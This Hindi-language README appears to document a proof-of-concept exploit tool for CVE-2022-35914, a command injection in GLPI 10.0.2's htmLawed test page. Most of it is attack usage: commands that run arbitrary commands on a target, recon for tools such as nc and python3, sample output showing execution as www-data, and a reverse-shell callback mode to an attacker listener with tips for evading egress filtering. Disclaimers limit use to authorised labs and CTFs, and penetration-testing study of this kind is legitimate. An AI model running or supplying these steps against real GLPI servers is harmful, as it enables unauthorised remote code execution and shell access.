
CVE-2022-35914 के लिए PoC एक्सप्लॉइट — GLPI v.10.0.2 htmLawed कमांड इंजेक्शन, कमांड निष्पादन, और रिवर्स शेल समर्थन।
CVE-2022-35914 के लिए PoC, जो कमजोर GLPI इंस्टॉलेशन में htmLawed टेस्ट कंपोनेंट से जुड़ी कमांड-इंजेक्शन कमजोरी है।
यह टूल कमजोर एंडपॉइंट के माध्यम से कमांड निष्पादन प्रदान करता है और अधिकृत लैब वातावरण के लिए वैकल्पिक कॉलबैक कार्यक्षमता शामिल करता है।
अस्वीकरण: यह प्रोजेक्ट केवल अधिकृत सुरक्षा परीक्षण, CTFs, OffSec/PG लैब्स, और शैक्षिक उद्देश्यों के लिए है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2022-35914 |
| सॉफ़्टवेयर | GLPI v.10.0.2 |
| कंपोनेंट | htmLawed |
| कमजोर एंडपॉइंट | /vendor/htmlawed/htmlawed/htmLawedTest.php |
कमजोर कंपोनेंट प्रभावित इंस्टॉलेशन पर तैयार किए गए पैरामीटर के माध्यम से कमांड निष्पादन की अनुमति दे सकता है।
Python 3 और आवश्यक निर्भरताएँ।
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
रिपॉज़िटरी क्लोन करें:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
स्क्रिप्ट को निष्पादन योग्य बनाएँ:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
उदाहरण आउटपुट:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c विकल्प निष्पादित करने के लिए कमांड निर्दिष्ट करता है।
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-u, --url | टारगेट URL या IP पता | आवश्यक |
-c, --cmd | निष्पादित करने के लिए कमांड | id |
--check | कमांड निष्पादित किए बिना टारगेट की जाँच करें | अक्षम |
--user-agent | कस्टम HTTP User-Agent | डिफ़ॉल्ट |
-p, --rport | टारगेट HTTP सेवा पोर्ट | 80 |
-l, --lhost | कॉलबैक/लिसनर IP पता | — |
-lp, --lport | कॉलबैक/लिसनर पोर्ट | — |
-p / --rport विकल्प उस पोर्ट को निर्दिष्ट करता है जहाँ कमजोर GLPI वेब सेवा चल रही है।
डिफ़ॉल्ट:
80
उदाहरण:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
कमांड निष्पादित किए बिना यह सत्यापित करने के लिए --check का उपयोग करें कि htmLawed टेस्ट पेज उपलब्ध है:
python3 glpi.py -u TARGET_IP --check
कस्टम HTTP User-Agent इस प्रकार प्रदान किया जा सकता है:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
स्क्रिप्ट वैकल्पिक कॉलबैक पैरामीटर का समर्थन करती है:
-l Callback/listener IP
-lp Callback/listener port
उदाहरण:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
इस उदाहरण में:
Target: TARGET_IP:80
Callback: LHOST:80
दोनों पोर्ट के अलग-अलग उद्देश्य हैं:
-p = Target GLPI HTTP port
-lp = Callback/listener port
OffSec लैब वातावरण में परीक्षण के दौरान, कॉलबैक TCP पोर्ट 80 पर सफलतापूर्वक काम किया।
अन्य कॉलबैक पोर्ट, जैसे 4444, लैब नेटवर्क और egress फ़िल्टरिंग के आधार पर टाइम आउट हो सकते हैं।
परीक्षण किए गए वातावरण के लिए:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
लिसनर को Kali VPN इंटरफ़ेस पर TCP पोर्ट 80 का उपयोग करके कॉन्फ़िगर किया गया था।
महत्वपूर्ण: कॉलबैक के लिए पोर्ट 80 का उपयोग करना एक वातावरण-विशिष्ट अवलोकन है। यह CVE-2022-35914 की आवश्यकता नहीं है।
पहले कमांड निष्पादन सत्यापित करें:
python3 glpi.py -u TARGET_IP -c 'id'
जाँचें कि आवश्यक उपयोगिताएँ मौजूद हैं या नहीं:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
यदि कमांड निष्पादन काम करता है लेकिन कॉलबैक टाइम आउट हो जाता है, तो VPN रूटिंग और कॉलबैक पोर्ट की जाँच करें।
यदि कमांड-आउटपुट पार्सिंग विफल हो जाती है, तो पूरी HTTP प्रतिक्रिया यहाँ सहेजी जाती है:
/tmp/glpi.html
इसका निरीक्षण करें:
less /tmp/glpi.html
या:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
परीक्षण किए गए OffSec लैब वातावरण के लिए:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा-परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
लेखक इस सॉफ़्टवेयर से जुड़े किसी भी दुरुपयोग, क्षति, अनधिकृत पहुँच, या अवैध गतिविधि के लिए ज़िम्मेदार नहीं है।
किसी सिस्टम का परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें।
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala